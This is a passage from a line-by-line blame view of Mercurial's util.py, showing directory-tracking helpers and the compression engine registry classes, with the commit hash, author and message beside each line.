21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3037 else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3038 for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3039 addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3040
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3041 def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3042 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3043 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3044 if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3045 dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3046 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3047 dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3048
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3049 def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3050 dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3051 for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3052 if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3053 dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3054 return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3055 del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3056
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3057 def __iter__(self):
31439 807387581d89 py3: use iter() instead of iterkeys() Rishabh Madan <rishabhmadan96@gmail.com> parents: 31413 diff changeset	3058 return iter(self._dirs)
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3059
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3060 def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3061 return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3062
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3063 if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3064 dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3065
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3066 def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3067 pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3068 while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3069 yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3070 pos = path.rfind('/', 0, pos)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3071
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3072 # compression code
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3073
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3074 SERVERROLE = 'server'
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3075 CLIENTROLE = 'client'
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3076
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3077 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3078 (u'name', u'serverpriority',
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3079 u'clientpriority'))
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3080
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3081 class compressormanager(object):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3082 """Holds registrations of various compression engines.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3083
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3084 This class essentially abstracts the differences between compression
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3085 engines to allow new compression formats to be added easily, possibly from
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3086 extensions.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3087
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3088 Compressors are registered against the global instance by calling its
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3089 ``register()`` method.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3090 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3091 def __init__(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3092 self._engines = {}
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3093 # Bundle spec human name to engine name.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3094 self._bundlenames = {}
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3095 # Internal bundle identifier to engine name.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3096 self._bundletypes = {}
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3097 # Revlog header to engine name.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3098 self._revlogheaders = {}
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3099 # Wire proto identifier to engine name.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3100 self._wiretypes = {}
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3101
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3102 def __getitem__(self, key):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3103 return self._engines[key]
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3104
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3105 def __contains__(self, key):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3106 return key in self._engines
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3107
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3108 def __iter__(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3109 return iter(self._engines.keys())
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3110
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3111 def register(self, engine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3112 """Register a compression engine with the manager.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3113
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3114 The argument must be a ``compressionengine`` instance.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3115 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3116 if not isinstance(engine, compressionengine):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3117 raise ValueError(_('argument must be a compressionengine'))
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3118
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3119 name = engine.name()
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3120
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3121 if name in self._engines:
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3122 raise error.Abort(_('compression engine %s already registered') %
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3123 name)
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3124
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3125 bundleinfo = engine.bundletype()
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3126 if bundleinfo:
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3127 bundlename, bundletype = bundleinfo
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3128
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3129 if bundlename in self._bundlenames:
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3130 raise error.Abort(_('bundle name %s already registered') %
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3131 bundlename)
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3132 if bundletype in self._bundletypes:
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3133 raise error.Abort(_('bundle type %s already registered by %s') %
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3134 (bundletype, self._bundletypes[bundletype]))
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3135
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3136 # No external facing name declared.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3137 if bundlename:
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3138 self._bundlenames[bundlename] = name
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3139
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3140 self._bundletypes[bundletype] = name
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3141
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3142 wiresupport = engine.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3143 if wiresupport:
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3144 wiretype = wiresupport.name
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3145 if wiretype in self._wiretypes:
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3146 raise error.Abort(_('wire protocol compression %s already '
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3147 'registered by %s') %
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3148 (wiretype, self._wiretypes[wiretype]))
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3149
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3150 self._wiretypes[wiretype] = name
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3151
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3152 revlogheader = engine.revlogheader()
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3153 if revlogheader and revlogheader in self._revlogheaders:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3154 raise error.Abort(_('revlog header %s already registered by %s') %
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3155 (revlogheader, self._revlogheaders[revlogheader]))
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3156
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3157 if revlogheader:
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3158 self._revlogheaders[revlogheader] = name
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3159
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3160 self._engines[name] = engine
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3161
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3162 @property
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3163 def supportedbundlenames(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3164 return set(self._bundlenames.keys())
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3165
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3166 @property
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3167 def supportedbundletypes(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3168 return set(self._bundletypes.keys())
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3169
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3170 def forbundlename(self, bundlename):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3171 """Obtain a compression engine registered to a bundle name.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3172
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3173 Will raise KeyError if the bundle type isn't registered.
30447 90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3174
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3175 Will abort if the engine is known but not available.
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3176 """
30447 90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3177 engine = self._engines[self._bundlenames[bundlename]]
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3178 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3179 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3180 engine.name())
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3181 return engine
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3182
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3183 def forbundletype(self, bundletype):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3184 """Obtain a compression engine registered to a bundle type.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3185
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3186 Will raise KeyError if the bundle type isn't registered.
30447 90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3187
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3188 Will abort if the engine is known but not available.
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3189 """
30447 90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3190 engine = self._engines[self._bundletypes[bundletype]]
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3191 if not engine.available():
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3192 raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3193 engine.name())
90933e4e44fd util: check for compression engine availability before returning Gregory Szorc <gregory.szorc@gmail.com> parents: 30446 diff changeset	3194 return engine
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3195
30761 7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3196 def supportedwireengines(self, role, onlyavailable=True):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3197 """Obtain compression engines that support the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3198
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3199 Returns a list of engines in prioritized order, most desired first.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3200
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3201 If ``onlyavailable`` is set, filter out engines that can't be
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3202 loaded.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3203 """
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3204 assert role in (SERVERROLE, CLIENTROLE)
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3205
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3206 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3207
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3208 engines = [self._engines[e] for e in self._wiretypes.values()]
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3209 if onlyavailable:
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3210 engines = [e for e in engines if e.available()]
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3211
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3212 def getkey(e):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3213 # Sort first by priority, highest first. In case of tie, sort
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3214 # alphabetically. This is arbitrary, but ensures output is
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3215 # stable.
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3216 w = e.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3217 return -1 * getattr(w, attr), w.name
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3218
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3219 return list(sorted(engines, key=getkey))
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3220
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3221 def forwiretype(self, wiretype):
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3222 engine = self._engines[self._wiretypes[wiretype]]
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3223 if not engine.available():
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3224 raise error.Abort(_('compression engine %s could not be loaded') %
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3225 engine.name())
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3226 return engine
7283719e2bfd util: declare wire protocol support of compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30745 diff changeset	3227
30798 f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3228 def forrevlogheader(self, header):
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3229 """Obtain a compression engine registered to a revlog header.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3230
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3231 Will raise KeyError if the revlog header value isn't registered.
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3232 """
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3233 return self._engines[self._revlogheaders[header]]
f50c0db50025 util: compression APIs to support revlog decompression Gregory Szorc <gregory.szorc@gmail.com> parents: 30794 diff changeset	3234
30360 358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3235 compengines = compressormanager()
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3236
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3237 class compressionengine(object):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3238 """Base class for compression engines.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3239
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3240 Compression engines must implement the interface defined by this class.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3241 """
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3242 def name(self):
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3243 """Returns the name of the compression engine.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3244
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3245 This is the key the engine is registered under.
358cda0af6ee util: create new abstraction for compression engines Gregory Szorc <gregory.szorc@gmail.com> parents: 30342 diff changeset	3246
